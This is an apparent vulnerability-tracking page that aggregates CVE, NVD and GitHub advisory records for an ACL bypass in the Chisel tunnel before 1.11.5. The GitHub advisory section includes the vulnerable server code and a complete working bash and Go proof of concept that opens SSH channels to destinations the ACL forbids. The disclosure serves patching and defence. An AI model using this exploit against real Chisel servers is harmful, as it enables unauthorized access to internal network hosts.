Chisel: ACL Bypass via Post-Handshake SSH Channel ExtraData Injection

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client can authenticate with a permitted remote, then open channels to any host:port it wants. This issue has been fixed in version 1.11.5.

Source published

3 Aug 2026 21:05:14 UTC

Source modified

4 Aug 2026 17:04:25 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L

Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client can authenticate with a permitted remote, then open channels to any host:port it wants. This issue has been fixed in version 1.11.5.

Source published

3 Aug 2026 21:16:39 UTC

Source modified

23 Oct 2026 21:10:00 UTC

Observed here

25 Oct 2026 12:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary Authenticated chisel clients can bypass `--authfile` ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any `host:port` it wants. ### Details The chisel server validates user ACLs in two places but is missing validation in one of the important places. The `server/server_handler.go` checks the ACL, during the initial config handshake: ```go for _, r := range c.Remotes { if user != nil { addr := r.UserAddr() if !user.HasAccess(addr) { failed(s.Errorf("access to '%s' denied", addr)) return } } } r.Reply(true, nil) ``` This validates the declared remote list from the client's config request. It runs once, at connection setup. But in `share/tunnel/tunnel_out_ssh.go` ACL aren't being checked, when the server processes actual traffic channels: ```go func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) { remote := string(ch.ExtraData()) // client-controlled hostPort, proto := settings.L4Proto(remote) sshChan, reqs, err := ch.Accept() // accepted unconditionally // ... err = t.handleTCP(l, stream, hostPort) // dials whatever client said } func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error { dst, err := net.Dial("tcp", hostPort) // no ACL check // ... } ``` The `tunnel.Config` struct has no User field, no allowed-address list, and no ACL callback. The user context from `server_handler.go` is never propagated to the tunnel layer: ```go type Config struct { *cio.Logger Inbound bool Outbound bool Socks bool KeepAlive time.Duration // ------- No User, no AllowedRemotes, no ACL } ``` Since `ch.ExtraData()` is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote. ### PoC Directory structure format: ``` poc ├── poc.sh └── probe ├── go.mod ├── go.sum └── main.go ``` - `poc.sh` ```bash #!/usr/bin/env bash # Requires: Go, nc (netcat) set -euo pipefail DIR="$(cd "$(dirname "$0")" && pwd)" REPO="$DIR/.." freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; } cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; } trap cleanup EXIT # Build echo "[*] Building..." (cd "$REPO" && go build -o /tmp/_chisel .) (cd "$DIR/probe" && go build -o /tmp/_probe .) # Ports SP=$(freeport); AP=$(freeport); BP=$(freeport) echo "[*] Server :$SP Allowed :$AP Blocked :$BP" # Authfile — user:pass may only reach 127.0.0.1:$AP AUTH=$(mktemp) printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH" # Start forbidden-target listener and chisel server (echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$! /tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$! sleep 1 # Exploit CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe ``` - `main.go` ```go // Chisel ACL bypass probe. Authenticates with an allowed remote, // then opens an SSH channel to a forbidden destination via ExtraData. package main import ( "encoding/json" "fmt" "net" "net/http" "os" "time" "github.com/gorilla/websocket" "github.com/jpillora/chisel/share/cnet" "github.com/jpillora/chisel/share/settings" "golang.org/x/crypto/ssh" ) func main() { server := os.Getenv("CHISEL_SERVER") allowed := os.Getenv("ALLOWED_PORT") blocked := os.Getenv("BLOCKED_PORT") // WebSocket → net.Conn ws, _, err := (&websocket.Dialer{ HandshakeTimeout: 5 * time.Second, Subprotocols: []string{"chisel-v3"}, }).Dial("ws://"+server, http.Header{}) check(err, "ws dial") conn := cnet.NewWebSocketConn(ws) // SSH handshake sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{ssh.Password("pass")}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), }) check(err, "ssh") go ssh.DiscardRequests(reqs) go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }() // Send config with only the allowed remote r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed)) cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}}) ok, reply, err := sc.SendRequest("config", true, cfg) check(err, "config") if !ok { die("config rejected: %s", reply) } fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed) // Open channel to BLOCKED destination target := net.JoinHostPort("127.0.0.1", blocked) ch, cr, err := sc.OpenChannel("chisel", []byte(target)) if err != nil { fmt.Printf("[-] REJECTED — server refused %s\n", target) os.Exit(1) } go ssh.DiscardRequests(cr) fmt.Printf("[!] ACCEPTED — channel opened to %s\n", target) // Read response from forbidden target buf := make([]byte, 256) done := make(chan int, 1) go func() { n, _ := ch.Read(buf); done <- n }() select { case n := <-done: if n > 0 { fmt.Printf("[!] Data: %s\n", buf[:n]) } case <-time.After(3 * time.Second): } fmt.Println("CONFIRMED — ACL bypass: server dialed unauthorized destination") ch.Close() sc.Close() } func check(err error, ctx string) { if err != nil { die("%s: %v", ctx, err) } } func die(f string, a ...interface{}) { fmt.Fprintf(os.Stderr, f+"\n", a...) os.Exit(1) } ``` ### Impact - Complete ACL bypass: The `--authfile` address restrictions are enforceable only on paper - Authenticated users can reach any host/port the server process can dial

Source published

12 Jun 2026 15:04:37 UTC

Source modified

17 Jun 2026 00:26:37 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L

Publisher rating · HIGH

Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection in github.com/jpillora/chisel

Source published

16 Jun 2026 23:55:18 UTC

Source modified

17 Jun 2026 00:15:12 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.